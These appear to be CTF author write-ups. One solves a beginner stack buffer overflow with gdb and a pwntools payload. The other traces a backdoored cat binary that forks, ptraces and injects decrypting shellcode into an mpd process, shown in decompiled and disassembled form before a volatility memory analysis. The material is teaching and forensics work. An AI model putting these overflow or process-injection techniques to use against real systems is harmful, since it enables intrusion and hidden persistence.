blahajctf qualifiers author writeups
recommended listening is bed for the scraping by fugazi.

pwn/DISTURBING THE PEACE, 106 solves
Author: wrenches
Expected Difficulty: Easy
if you think about it, mementos is kind of like the heap
it’s a beginner pwn challenge themed around Persona.
int main(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
int monster_hp = 25000;
char persona[16];
int player_hp = 500;
init();
while ((player_hp > 0) && (monster_hp > 0)) {
print_battle(monster_hp, player_hp);
menu();
printf(BOLD "YOUR INPUT > " RESET);
char c = getc(stdin);
getchar(); // exhaust newline
switch (c) {
case '1': {
puts(GREEN "MELEE ATTACK! You did 50 damage to the monster." RESET);
monster_hp -= 50;
break;
}
case '2': {
printf(CYAN "What persona are you going to switch to, leader? > " RESET);
fgets(persona, 32, stdin);
break;
}
case '3': {
flee();
break;
}
default:
puts(RED "Invalid option, leader!" RESET);
}
monster_attack(&player_hp);
}
if (player_hp <= 0) {
puts(RED "\nYour eyes are getting weary..." RESET);
puts(YELLOW "Better luck next time!" RESET);
exit(0);
}
if (monster_hp <= 0) {
puts(GREEN BOLD "\nYou've defeated the monster! Good job, leader!" RESET);
win();
exit(0);
}
}
the goal is to beat the monster so that we can get the flag. unfortunately, the monster has 25000 hp and we only have 500 hp, so it is impossible to beat the monster just through attacking.
we have a buffer overflow vulnerability, however: the persona variable is defined as an array of 16 characters, but in the option to switch personas, we read 32 characters into that buffer. this means we are able to overflow that buffer and overwrite adjacent variables on the stack.
char persona[16];
...
case '2': {
printf(CYAN "What persona are you going to switch to, leader? > " RESET);
fgets(persona, 32, stdin);
break;
}
by dynamically debugging w/ gdb, we can see just what we are able to overwrite on the stack. a nice technique i like to use for debugging these pwn challenges is compiling the given challenge with debug symbols, by using the -g flag (// gcc -g -O0 -o main main.c*).
- note the -O0 compilation flag, this tells the compiler to not optimize anything. this is important because with different layers of optimization, the compiler might switch around the orders of variables on the stack.
then, we just run the binary with gdb ./main and place breakpoints by referring to the debug symbols. compiling with debug symbols allows us to see the source code of the binary from the debugger ourselves, so we don’t need to resort to reading assembly. we can do this by making use of the list command:
gef> list main.c:85
80 puts(GREEN "MELEE ATTACK! You did 50 damage to the monster." RESET);
81 monster_hp -= 50;
82 break;
83 }
84
85 case '2': {
86 printf(CYAN "What persona are you going to switch to, leader? > " RESET);
87 fgets(persona, 32, stdin); <- our vulnerable function!
88 break;
89 }
i’ll place a breakpoint at line 86 with break main.c:86, and then run the program.
gef> break main.c:86
Breakpoint 1 at 0x143c: file main.c, line 86.
gef> r
Starting program: /home/navi/ctf-setting/blahajctf25/challenges/pwn/disturbing-the-peace/dist/main
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
==================================================
// DISTURBING THE PEACE \\
Watch out leader! This monster's strong...
I'm not sure you'll be able to beat it with attacking alone!
// - SURPRISE ATTACK! - \\
==================================================
--------------------------------------------------
ENEMY HP: 25000
YOUR HP: 500
--------------------------------------------------
================= ACTION MENU =================
1 > MELEE ATTACK
2 > SWAP PERSONAS
3 > FLEE
===============================================
YOUR INPUT >
to view the contents of the stack after we hit the breakpoint, we just input stack and look at the addresses. we can also view the values of variables such as monster_hp by typing in p monster_hp.
gef> stack
----------------------------------------------------------------- Stack top (lower address) -----------------------------------------------------------------
0x7fffffffdbd0|+0x0000|+000: 0x0000000000000000
0x7fffffffdbd8|+0x0008|+001: 0x000001f400000000
0x7fffffffdbe0|+0x0010|+002: 0x00000a6473667364 ('dsfsd\n'?) <<< our input
0x7fffffffdbe8|+0x0018|+003: 0x0000000000000000
0x7fffffffdbf0|+0x0020|+004: 0x0000000000000000
0x7fffffffdbf8|+0x0028|+005: 0x0000[61a8]32fe19d0 <<< where the monster_hp is stored
0x7fffffffdc00|+0x0030|+006: 0x00007fffffffdd18 -> 0x00007fffffffe041 -> 0x616e2f656d6f682f '/home/navi/ctf-setting/blahajctf25/challenges/pwn/disturbing-the[...]'
0x7fffffffdc08|+0x0038|+007: 0x00007ffff7c29f75 <__libc_start_call_main+0x75> -> 0xe8000190d4e8c789 <- retaddr[1] ($savedip)
--------------------------------------------------------------- Stack bottom (higher address) ---------------------------------------------------------------
gef> p monster_hp
$2 = 0x61a8
gef>
we can now see the stack layout. note the following: the monster hp, 0x61a8, is stored below where our input gets written to with respect to the stack. so, let’s see if we can overwrite this value by just spamming ‘A’s for now.
gef> stack
----------------------------------------------------------------- Stack top (lower address) -----------------------------------------------------------------
0x7fffffffdbd0|+0x0000|+000: 0x0000000000000000
0x7fffffffdbd8|+0x0008|+001: 0x000001f400000000
0x7fffffffdbe0|+0x0010|+002: 0x4141414141414141 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
0x7fffffffdbe8|+0x0018|+003: 0x4141414141414141 'AAAAAAAAAAAAAAAAAAAAAAA'
0x7fffffffdbf0|+0x0020|+004: 0x4141414141414141 'AAAAAAAAAAAAAAA'
0x7fffffffdbf8|+0x0028|+005: 0x0041414141414141 ('AAAAAAA'?)
0x7fffffffdc00|+0x0030|+006: 0x00007fffffffdd18 -> 0x00007fffffffe041 -> 0x616e2f656d6f682f '/home/navi/ctf-setting/blahajctf25/challenges/pwn/disturbing-the[...]'
0x7fffffffdc08|+0x0038|+007: 0x00007ffff7c29f75 <__libc_start_call_main+0x75> -> 0xe8000190d4e8c789 <- retaddr[1] ($savedip)
--------------------------------------------------------------- Stack bottom (higher address) ---------------------------------------------------------------
gef> p monster_hp
$4 = 0x414141
we can! we’re now able to modify the monster_hp just by exploiting our buffer overflow. now, our goal is to be more delicate: we want to overwrite monster_hp to a lower value.
to do this, we need to figure out what offset we need to write at. i.e., which character of our input corresponds to our inevitable value of monster_hp?
we can do this by using pwntools’ cyclic_gen function. essentially, it just writes a specific ‘pattern’ of bytes that we can use to easily calculate offsets. we’ll generate the pattern with the following commands below.
>>> from pwn import cyclic_gen
>>> a = cyclic_gen()
>>> a.get(64)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
then, we’ll put the pattern in as our input.
------------------------------------------------------ source: main.c+86 ----
81 monster_hp -= 50;
82 break;
83 }
84
85 case '2': {
// persona = 0x00007fffffffdbe0 -> 0x6161616261616161 'aaaabaaacaaadaaaeaaafaaagaaahaa'
*-> 86 printf(CYAN "What persona are you going to switch to, leader? > " RESET);
87 fgets(persona, 32, stdin);
88 break;
89 }
90
91 case '3': {
---------------------------------------------------------------- threads ----
[*Thread Id:1, tid:386064] Name: "main", stopped at 0x55555555543c <main+0xe2>, reason: BREAKPOINT
------------------------------------------------------------------ trace ----
[*#0] 0x55555555543c <main+0xe2>
[ #1] 0x7ffff7c29f75 <__libc_start_call_main+0x75>
[ #2] 0x7ffff7c2a027 <__libc_start_main+0x87> (frame name: __libc_start_main_impl)
[ #3] 0x5555555550f1 <_start+0x21>
-----------------------------------------------------------------------------
gef> x/s &monster_hp
0x7fffffffdbfc: "haa"
we can see that our monster_hp was overwritten with the value haa. then, we find the offset of this pattern:
>>> a.find(b'haa')
(28, 0, 28)
now we know that we need to write 28 filler bytes before we can actually overwrite our monster_hp. just to verify, let’s write 28 As, then 3 Bs:
------------------------------------------------------ source: main.c+86 ----
81 monster_hp -= 50;
82 break;
83 }
84
85 case '2': {
// persona = 0x00007fffffffdbe0 -> 0x4141414141414141 'AAAAAAAAAAAAAAAAAAAAAAAAAAAABBB'
*-> 86 printf(CYAN "What persona are you going to switch to, leader? > " RESET);
87 fgets(persona, 32, stdin);
88 break;
89 }
90
91 case '3': {
---------------------------------------------------------------- threads ----
[*Thread Id:1, tid:386628] Name: "main", stopped at 0x55555555543c <main+0xe2>, reason: BREAKPOINT
------------------------------------------------------------------ trace ----
[*#0] 0x55555555543c <main+0xe2>
[ #1] 0x7ffff7c29f75 <__libc_start_call_main+0x75>
[ #2] 0x7ffff7c2a027 <__libc_start_main+0x87> (frame name: __libc_start_main_impl)
[ #3] 0x5555555550f1 <_start+0x21>
-----------------------------------------------------------------------------
gef>
gef> p monster_hp
$7 = 0x424242
success!
now, we want to entirely zero out the monster’s hp. we do this by writing nullbytes. we’ll want to write 28 filler characters, then 3 nullbytes.
from pwn import *
p = process("./main")
p.sendlineafter(b"YOUR INPUT > ", b'2')
p.sendlineafter(b" > ", b"A" * 28 + b'\00' * 3)
p.interactive()
we first connect to our process, then pick the option that lets us set personas (2). afterwards, we send our payload of 28 ‘A’ bytes and 3 null bytes.
the p.interactive() drops us into any interactive shell that the program might create (for this challenge it’s not necessary, but it’s good practice).
navi@curette (/disturbing-the-peace/sol) > python solve.py
[+] Starting local process './main': pid 388773
[*] Switching to interactive mode
!! The monster lunges! It does 100 damage.
Leader, are you okay?
You've defeated the monster! Good job, leader!
blahaj{https://www.youtube.com/watch?v=SKwkvsnUOAk}
- note: we definitely could have just spammed nullbytes and won! there’s nothing in the buffer that we necessarily need to preserve, so just sending 32 null bytes would work. however, there are some harder pwn challenges which necessitate a certain degree of finesse and care in your payload writing, so it’s good practice to do so.
foren/sleep-to-dream, 0 solves
Author: wrenches
Expected Difficulty: insane
someone’s installed a backdoor into the Number One Fiona Apple Fan’s computer! where’s the backdoor?
the previous writeup was a beginner friendly introduction to pwn. i will aim to keep this writeup beginner friendly as well, but this was a significantly harder challenge that got no human solves during the ctf.
the dist is a 5GB zip, consisting of a memory dump and an .E01 file.
some background - a memory dump is exactly that: a dump of the RAM at some point in time while the computer is running. to interact w/ a dump (specifically, a Linux memory dump), we use the tool volatility. for the .E01 file, that’s a proprietary image file format by EnCase, a digital forensics company.
- also this writeup will detail the process of solving this challenge on Linux, and not on Windows.
in essence, what we have is a dump of the system’s memory, as well as the entire contents of the system’s hard-drive.
STAGE 0: SETUP
we deal with the hard drive first. given it’s an .E01 file, we need to convert it into a format that we can easily deal with. we do this w/ ewfexport, a utility provided by the ewf-tools package.
navi@curette (tting/sleep-to-dream/dist) > ewfexport sleep-to-dream.E01
ewfexport 20140816
Information for export required, please provide the necessary input
Export to format (raw, files, ewf, smart, ftk, encase1, encase2, encase3, encase4, encase5, encase6, encase7, encase7-v2, linen5, linen6, linen7, ewfx) [raw]:
Target path and filename without extension or - for stdout:
Target is required, please try again or terminate using Ctrl^C.
Target path and filename without extension or - for stdout: output
Evidence segment file size in bytes (0 is unlimited) (0 B <= value <= 7.9 EiB) [0 B]:
Start export at offset (0 <= value <= 21474836480) [0]:
Number of bytes to export (0 <= value <= 21474836480) [21474836480]:
Export started at: Dec 21, 2025 14:53:50
This could take a while.
(if you don’t have ewfexport, install it w/ sudo apt-get install ewf-tools).
essentially, what this does is convert it into a raw 20GB file, and we can use a tool known as losetup to treat this file as if it were a hard drive connected to our computer. losetup is short for loop device setup, and a loop device lets Linux interact with our extracted raw image.
the end goal is to be able to do things like ls, cat, so on and so forth in our disk image, and this is how we are able to achieve that.
after ewfexport finishes, we now have the following file:
navi@curette (tting/sleep-to-dream/dist) > file output.raw
output.raw: DOS/MBR boot sector
this tells us that our disk image has a partition table. a partition table means that different parts of the hard drive are used for different purposes. we can see the entries in the partition table below:
navi@curette (tting/sleep-to-dream/dist) > fdisk -l output.raw
Disk output.raw: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xa02fda52
Device Boot Start End Sectors Size Id Type
output.raw1 * 2048 39684095 39682048 18.9G 83 Linux
output.raw2 39686142 41940991 2254850 1.1G f W95 Extd (LBA)
output.raw5 39686144 41940991 2254848 1.1G 82 Linux swap / Solaris
output.raw1 is our actual filesystem of interest, while output.raw5 is for swap memory, and i think output.raw2 should be for the bootloader? i’m not sure though. either way, because this is a partitioned disk image, we need to tell losetup to set up a different loop device for each partition with sudo losetup -Pf output.raw.
navi@curette (tting/sleep-to-dream/dist) > sudo losetup -Pf output.raw
navi@curette (tting/sleep-to-dream/dist) > ls /dev/loop*
/dev/loop0 /dev/loop0p5 /dev/loop3 /dev/loop6
/dev/loop0p1 /dev/loop1 /dev/loop4 /dev/loop7
/dev/loop0p2 /dev/loop2 /dev/loop5 /dev/loop-control
the devices in question are /dev/loop0p..., specifically, /dev/loop0p1. we now have this file as a device on our system (much like any USB connection), and we can just mount it and read it as a filesystem.
navi@curette (tting/sleep-to-dream/dist) > sudo mount /dev/loop0p1 mnt
navi@curette (tting/sleep-to-dream/dist) > cd mnt
navi@curette (g/sleep-to-dream/dist/mnt) > ls
bin etc initrd.img.old lost+found opt run sys var
boot home lib media proc sbin tmp vmlinuz
dev initrd.img lib64 mnt root srv usr vmlinuz.old
yay! now we can actually begin to do..
STAGE 1: ACTUAL FORENSICS WORK
we’re informed that there’s a backdoor somewhere. we can just peek around the files. on this system, there is a user named fiona, and her home directory has a lyrics folder.
navi@curette (ist/mnt/home/fiona/lyrics) > ls -alps
total 52
4 drwxrwxr-x 2 navi navi 4096 Dec 10 14:18 ./
4 drwx------ 4 navi navi 4096 Dec 10 15:11 ../
4 -rw-rw-r-- 1 navi navi 1375 Dec 10 14:27 '10 - Pale September.txt'
4 -rw-rw-r-- 1 navi navi 1901 Dec 10 14:27 '1 - Sleep to Dream.txt'
4 -rw-rw-r-- 1 navi navi 717 Dec 10 14:27 '2 - Sullen Girl.txt'
4 -rw-rw-r-- 1 navi navi 1207 Dec 10 14:27 '3 - Shadowboxer.txt'
4 -rw-rw-r-- 1 navi navi 128 Dec 10 14:28 '4 - Criminal.txt'
4 -rw-rw-r-- 1 navi navi 1141 Dec 10 14:27 '5 - Slow Like Honey.txt'
4 -rw-rw-r-- 1 navi navi 905 Dec 10 14:27 '6 - The First Taste.txt'
4 -rw-rw-r-- 1 navi navi 1556 Dec 10 14:27 '7 - Never Is A Promise.txt'
4 -rw-rw-r-- 1 navi navi 923 Dec 10 14:27 '8 - The Child is Gone.txt'
4 -rw-rw-r-- 1 navi navi 1031 Dec 10 14:27 '9 - Pale September.txt'
4 -rwxrwxr-x 1 navi navi 126 Dec 10 14:27 read_lyrics.sh
everything here seems mostly innocuous, except for the fact that 4 - Criminal.txt is entirely nulled out.
navi@curette (ist/mnt/home/fiona/lyrics) > xxd 4\ -\ Criminal.txt
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
the script just reads all the files in the directory.
navi@curette (ist/mnt/home/fiona/lyrics) > cat read_lyrics.sh
#!/bin/bash
for file in *.txt; do
[ -e "$file" ] || continue
echo -e "\n------\n$file\n------\n"
cat "$file"
done
so, the backdoor is relatively nonobvious. as the challenge author i intended there to be a level of ingenuity required with being able to identify the backdoor, as i hid it quite well. there are two different ways to identify the backdoor, both of which require some baseline knowledge of linux filesystems:
THING ONE: MODIFIED TIMES
on a linux filesystem, we can see what times files were last modified. on a clean install of Linux, most of the system’s files (such as those in /usr/bin, /sys, /etc) will NOT have recent last modified times.
we can sort each file on the system by their last modified time:
navi@curette (tting/sleep-to-dream/dist) > find mnt -type f -printf '%T@ %p\n' | sort -nr | head
1765460694.1095551690 mnt/var/log/journal/afbcd40694474a8dbe124bf51e279e7e/system.journal
1765460693.7295586580 mnt/usr/bin/cat
1765460672.6543820000 mnt/var/lib/systemd/timesync/clock
1765460661.6619593080 mnt/etc/ssh/sshd_config
1765460617.4080000000 mnt/var/log/wtmp.db
1765460614.9120000000 mnt/etc/resolv.conf
1765460614.9040000000 mnt/var/lib/dhcpcd/ens3.lease
1765460608.2440000000 mnt/var/log/wtmp
1765460608.1640000000 mnt/boot/grub/grubenv
1765460607.6320000000 mnt/var/lib/systemd/random-seed
- now is a good time to discuss Good Usecases for LLMs as opposed to Bad Ones. me personally, i can’t write this command myself because i don’t know the syntax off the top of my head, so i just tell the LLM to write a command that will find all last modified times, sort them, and then give me the first few. i find that using LLMs sparingly like this in these contexts saves time, is quite useful for keeping me on track, and most importantly, still keeps me knowledgeable as to what the fuck i am doing. if at any point you realize you do not know what you are doing anymore, then that probably means you should put the chatgpt down.
indeed, we can see that the most recently modified file is /usr/bin/cat. hm!
THING TWO: FILE HASHES
i won’t go over the process of doing this because it’s annoying to do. but given that this is a Linux filesystem, most of the file hashes of things in /usr/bin should be the same. if anyone has changed anything in those folders, you would be able to compare them with a fresh install of Linux, and then find any outliers. a tool like VirusTotal is quite nice for this, let’s take a binary that we know is not backdoored and calculate its sum.
navi@curette (to-dream/dist/mnt/usr/bin) > md5sum xz
1ce5746fe096041370ea72d622b0de74 xz
putting this value into VirusTotal:

VirusTotal tells us that this is a file distributed by Linux itself. we’re good!
STAGE 2: REVERSING THE BACKDOOR
navi@curette (to-dream/dist/mnt/usr/bin) > file cat
cat: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=89b3f1cc0ac8fdb8546615ff55fd4525b6182f50, for GNU/Linux 3.2.0, not stripped
unfortunately now it’s time to do some reverse engineering. throw this into your favorite decompiler and jump into the main() function.
}
pbVar11 = (byte *)0x0;
local_19c = param_1;
local_198 = param_2;
initialize(param_2[1]);
set_program_name(*param_2);
setlocale(6,"");
bindtextdomain("coreutils","/usr/local/share/locale");
textdomain("coreutils");
atexit(close_stdout);
local_186 = '\0';
local_187 = '\0';
local_1a0 = (local_1a0._2_2_ & 0xff00) << 0x10;
do {
iVar5 = getopt_long(local_19c,local_198,"benstuvAET",long_options.0,0);
if (iVar5 == -1) {
iVar6 = fstat(1,&local_158);
iVar5 = optind;
if (iVar6 < 0) {
uVar15 = dcgettext(0,"standard output",5);
piVar17 = __errno_location();
auVar25 = error(1,*piVar17,uVar15);
uVar15 = uStack_1d8;
uStack_1d8 = auVar25._0_8_;
__libc_start_main(main,uVar15,&local_1d0,0,0,auVar25._8_8_,&uStack_1d8);
do {
/* WARNING: Do nothing block with infinite loop */
} while( true );
}
from a glance, it’s not obvious where the backdoor might be. a useful thing to do is compare and contrast with the actual source code of cat, which is located in GNU’s coreutils repository.
{GETOPT_HELP_OPTION_DECL},
{GETOPT_VERSION_OPTION_DECL},
{nullptr, 0, nullptr, 0}
};
initialize_main (&argc, &argv);
set_program_name (argv[0]);
setlocale (LC_ALL, "");
bindtextdomain (PACKAGE, LOCALEDIR);
textdomain (PACKAGE);
/* Arrange to close stdout if we exit via the
case_GETOPT_HELP_CHAR or case_GETOPT_VERSION_CHAR code.
Normally STDOUT_FILENO is used rather than stdout, so
close_stdout does nothing. */
atexit (close_stdout);
in the original source, the function is called initialize_main, but in our decompilation, it’s called initialize.
decompiling that function specifically:
undefined8 initialize(char *param_1)
{
long lVar1;
undefined8 uVar2;
int iVar3;
uint __pid;
long lVar4;
undefined8 *puVar5;
undefined8 *puVar6;
undefined8 *puVar7;
undefined8 uVar8;
int local_6ec;
char *local_6e8;
undefined8 uStack_6e0;
undefined8 local_6d8 [213];
undefined8 local_30;
uVar8 = 0;
puVar5 = local_6d8;
puVar6 = &DAT_00108a40;
puVar7 = puVar5;
for (lVar4 = 0xd5; lVar4 != 0; lVar4 = lVar4 + -1) {
*puVar7 = *puVar6;
puVar6 = puVar6 + 1;
puVar7 = puVar7 + 1;
}
iVar3 = strcmp(param_1,"4 - Criminal.txt");
if (iVar3 == 0) {
uVar8 = 0;
puts("\n\n\n\n");
__pid = fork();
local_6e8 = "/usr/bin/mpd";
uStack_6e0 = 0;
if (__pid == 0) {
uVar8 = 0xffffffff;
lVar4 = ptrace(PTRACE_TRACEME,0,0,0);
if (lVar4 != -1) {
uVar8 = 1;
execve("/usr/bin/mpd",&local_6e8,(char **)0x0);
}
}
else {
waitpid(__pid,&local_6ec,0);
lVar4 = get_entry_point(__pid);
lVar4 = lVar4 - (long)puVar5;
do {
uVar2 = *puVar5;
lVar1 = lVar4 + (long)puVar5;
puVar5 = puVar5 + 1;
ptrace(PTRACE_POKETEXT,(ulong)__pid,lVar1,uVar2);
} while (puVar5 != &local_30);
ptrace(PTRACE_DETACH,(ulong)__pid,0,0);
}
}
return uVar8;
}
we now see calls to ptrace(), references to /usr/bin/mpd, and a mysterious &DAT_00108a40 variable. uh oh!
let’s go over the functionality of this initialize() snippet. it starts with this check:
iVar3 = strcmp(param_1,"4 - Criminal.txt");
param_1 is the first argument that gets passed into cat, and this is comparing it with a known value 4 - Criminal.txt. if the argument matches, then we execute the rest of the backdoor, otherwise we do nothing.
afterwards:
if (iVar3 == 0) {
uVar8 = 0;
puts("\n\n\n\n");
__pid = fork();
local_6e8 = "/usr/bin/mpd";
uStack_6e0 = 0;
if (__pid == 0) {
uVar8 = 0xffffffff;
lVar4 = ptrace(PTRACE_TRACEME,0,0,0);
if (lVar4 != -1) {
uVar8 = 1;
execve("/usr/bin/mpd",&local_6e8,(char **)0x0);
}
}
else {
waitpid(__pid,&local_6ec,0);
lVar4 = get_entry_point(__pid);
lVar4 = lVar4 - (long)puVar5;
do {
uVar2 = *puVar5;
lVar1 = lVar4 + (long)puVar5;
puVar5 = puVar5 + 1;
ptrace(PTRACE_POKETEXT,(ulong)__pid,lVar1,uVar2);
} while (puVar5 != &local_30);
ptrace(PTRACE_DETACH,(ulong)__pid,0,0);
}
}
return uVar8;
}
it’s a lot of code but in summary:
- the process gets forked.
- the child waits until it gets ptraced by the parent.
- the child process spawns a new
/usr/bin/mpdinstance (music player daemon). - the parent finds the PID of the child process, and _replaces the instructions that the
mpdprocess will execute with its own shellcode defined in&DAT_00108a40.
essentially, we are hiding our shellcode in the mpd process. cool! now:
STAGE 4: WHAT IS THE SHELLCODE DOING
first let’s dump it.

we essentially just go into Ghidra, highlight the whole thing, go to Copy Special > Python Bytestring, and paste. then, we write a little wrapper to save it to a file.
b = [... bytes ...]
shellcode = open('shellcode.bin', 'wb')
shellcode.write(b)
shellcode.close()
and now we can disassemble it:
navi@curette (~/Downloads/hissss) > ndisasm -b 64 shellcode.bin
00000000 488D3DF9FFFFFF lea rdi,[rel 0x0]
00000007 4881E700F0FFFF and rdi,0xfffffffffffff000
0000000E B80A000000 mov eax,0xa
00000013 BE00400000 mov esi,0x4000
00000018 BA07000000 mov edx,0x7
0000001D 0F05 syscall
0000001F 488D1D82020000 lea rbx,[rel 0x2a8]
00000026 488D350F000000 lea rsi,[rel 0x3c]
0000002D 4889DF mov rdi,rbx
00000030 B96C020000 mov ecx,0x26c
00000035 F3A4 rep movsb
00000037 E96C020000 jmp 0x2a8
0000003C B802000000 mov eax,0x2
00000041 488D3DCF010000 lea rdi,[rel 0x217]
00000048 BE02000000 mov esi,0x2
0000004D 4831D2 xor rdx,rdx
00000050 0F05 syscall
00000052 4885C0 test rax,rax
00000055 0F8822010000 js 0x17d
0000005B 4989C4 mov r12,rax
0000005E B800000000 mov eax,0x0
00000063 4C89E7 mov rdi,r12
00000066 488D352A010000 lea rsi,[rel 0x197]
0000006D BA80000000 mov edx,0x80
00000072 0F05 syscall
00000074 4989C5 mov r13,rax
00000077 B808000000 mov eax,0x8
0000007C 4C89E7 mov rdi,r12
0000007F 4831F6 xor rsi,rsi
00000082 4831D2 xor rdx,rdx
00000085 0F05 syscall
00000087 B801000000 mov eax,0x1
0000008C 4C89E7 mov rdi,r12
0000008F 488D3592010000 lea rsi,[rel 0x228]
00000096 BA80000000 mov edx,0x80
0000009B 0F05 syscall
0000009D B84A000000 mov eax,0x4a
000000A2 4C89E7 mov rdi,r12
000000A5 0F05 syscall
000000A7 6A00 push qword 0x0
000000A9 6A3C push qword 0x3c
000000AB 4889E7 mov rdi,rsp
000000AE 4831F6 xor rsi,rsi
000000B1 B823000000 mov eax,0x23
000000B6 0F05 syscall
000000B8 4883C410 add rsp,0x10
000000BC 4881EC00010000 sub rsp,0x100
000000C3 4889E7 mov rdi,rsp
000000C6 4831C9 xor rcx,rcx
000000C9 880C0F mov [rdi+rcx],cl
000000CC 48FFC1 inc rcx
000000CF 4881F900010000 cmp rcx,0x100
000000D6 75F1 jnz 0xc9
000000D8 4831C9 xor rcx,rcx
000000DB 4D31C0 xor r8,r8
000000DE 488D35A2000000 lea rsi,[rel 0x187]
000000E5 4889C8 mov rax,rcx
000000E8 4883E00F and rax,0xf
000000EC 480FB61C06 movzx rbx,byte [rsi+rax]
000000F1 480FB6040F movzx rax,byte [rdi+rcx]
000000F6 4901C0 add r8,rax
000000F9 4901D8 add r8,rbx
000000FC 4981E0FF000000 and r8,0xff
00000103 4A0FB61C07 movzx rbx,byte [rdi+r8]
00000108 881C0F mov [rdi+rcx],bl
0000010B 42880407 mov [rdi+r8],al
0000010F 48FFC1 inc rcx
00000112 4881F900010000 cmp rcx,0x100
00000119 75CA jnz 0xe5
0000011B 4831C9 xor rcx,rcx
0000011E 4D31C0 xor r8,r8
00000121 4D31C9 xor r9,r9
00000124 488D356C000000 lea rsi,[rel 0x197]
0000012B 4C39E9 cmp rcx,r13
0000012E 7D3C jnl 0x16c
00000130 49FFC0 inc r8
00000133 4981E0FF000000 and r8,0xff
0000013A 4A0FB60407 movzx rax,byte [rdi+r8]
0000013F 4901C1 add r9,rax
00000142 4981E1FF000000 and r9,0xff
00000149 4A0FB61C0F movzx rbx,byte [rdi+r9]
0000014E 42881C07 mov [rdi+r8],bl
00000152 4288040F mov [rdi+r9],al
00000156 4801D8 add rax,rbx
00000159 4825FF000000 and rax,0xff
0000015F 480FB61C07 movzx rbx,byte [rdi+rax]
00000164 301C0E xor [rsi+rcx],bl
00000167 48FFC1 inc rcx
0000016A EBBF jmp 0x12b
0000016C 4881C400010000 add rsp,0x100
00000173 B803000000 mov eax,0x3
00000178 4C89E7 mov rdi,r12
0000017B 0F05 syscall
0000017D B83C000000 mov eax,0x3c
00000182 4831FF xor rdi,rdi
00000185 0F05 syscall
00000187 66 o16
00000188 657463 gs jz 0x1ee
0000018B 68626F6C74 push qword 0x746c6f62
00000190 637574 movsxd esi,dword [rbp+0x74]
00000193 7465 jz 0x1fa
00000195 7273 jc 0x20a
at this point we’re satisfied with ourselves and we don’t really feel like reading assembly so we can just chuck this into an LLM and have it provide a decompilation for us.

thanks Gemini! so our shellcode is creating a RWX page, reading ciphertext from a file on disk, zeroing out the file on disk, and then slowly decrypting the file. because the ciphertext is not present anywhere on the hard-disk, we will need to actually locate it from the memory dump itself. which finally leads us to the last step:
STAGE 3: DEALING W/ THE MEMORY DUMP
volatility is very finicky with Linux memory dumps. we will need something called a symbol table, which is how volatility is able to know where things are.
we first need to know the kernel version, which is located in /boot.
navi@curette (ep-to-dream/dist/mnt/boot) > ls
config-6.12.57+deb13-amd64
grub
initrd.img-6.12.57+deb13-amd64
System.map-6.12.57+deb13-amd64
vmlinuz-6.12.57+deb13-amd64
we then need to find volatility symbols for that version of linux, 6.12.57+deb13. thankfully enough there is an existing pre-generated table here, but some versions may or may not have symbol tables readily available. in that case, you will have to make your own, which is frankly a tedious and annoying process that i don’t like doing.
after we have symbols downloaded properly, we just put it in a symbols/linux directory in our current working directory, and run vol -f mem.dmp -s symbols [plugin we want to use]. in this case, we just start with linux.pslist, which gives us a list of all running processes at the time of the dump.
Volatility 3 Framework 2.26.2
Progress: 100.00 Stacking attempts finished
OFFSET (V) PID TID PPID COMM UID GID EUID EGID CREATION TIME File output
0x90b1c0260000 1 1 0 systemd 0 0 0 0 2025-12-10 06:19:21.109905 UTC Disabled
0x90b1c0263080 2 2 0 kthreadd 0 0 0 0 2025-12-10 06:19:21.109905 UTC Disabled
0x90b1c0266100 3 3 2 pool_workqueue_ 0 0 0 0 2025-12-10 06:19:21.217905 UTC Disabled
...
...
...
0x90b1c63d9840 764 764 1 mpd 1000 1000 1000 1000 2025-12-10 06:28:00.553613 UTC Disabled
there is a lot of stuff i had to excise but we can see our mpd process down there! great. we now know that its pid is 764, so let’s dump its entire memory space with linux.proc.Maps.
however, if we do this, we’ll find ourselves very quickly spammed with a whole lot of memory pages. this is because mpd is a dynamically linked binary that has to load a lot of different libraries into its own memory space at runtime, so there is a Lot Of Nonsense that we have to filter out. how do we know which memory page has the specific shellcode we want?
with permissions! each memory page has a different set of permissions (read, write, execute), and because of the Linux kernel, ordinary pages can never be write + execute at the same time. but since the shellcode used mprotect to create a RWX page, we can just dump the SINGLE RWX page present in memory.
navi@curette (tf-setting/sleep-to-dream) > vol -s symbols -f mem.dmp linux.proc.Maps --pid=764 | grep rwx
mpd 100.00x564f5bc47000 0x564f5bc4b000pt rwx 0x62000 8 1 1077557 /usr/bin/mpd Disabled
then, we just dump this page.
navi@curette (tf-setting/sleep-to-dream) > vol -s symbols -f mem.dmp -o coredump linux.proc.Maps --pid=764 --dump
Volatility 3 Framework 2.26.2
Progress: 100.00 Stacking attempts finished
PID Process Start End Flags PgOff Major Minor Inode File Path File output
764 mpd 0x564f5bbe5000 0x564f5bc15000 r-- 0x0 8 1 1077557 /usr/bin/mpd pid.764.vma.0x564f5bbe5000-0x564f5bc15000.dmp
764 mpd 0x564f5bc15000 0x564f5bc47000 r-x 0x30000 8 1 1077557 /usr/bin/mpd pid.764.vma.0x564f5bc15000-0x564f5bc47000.dmp
764 mpd 0x564f5bc47000 0x564f5bc4b000 rwx 0x62000 8 1 1077557 /usr/bin/mpd pid.764.vma.0x564f5bc47000-0x564f5bc4b000.dmp
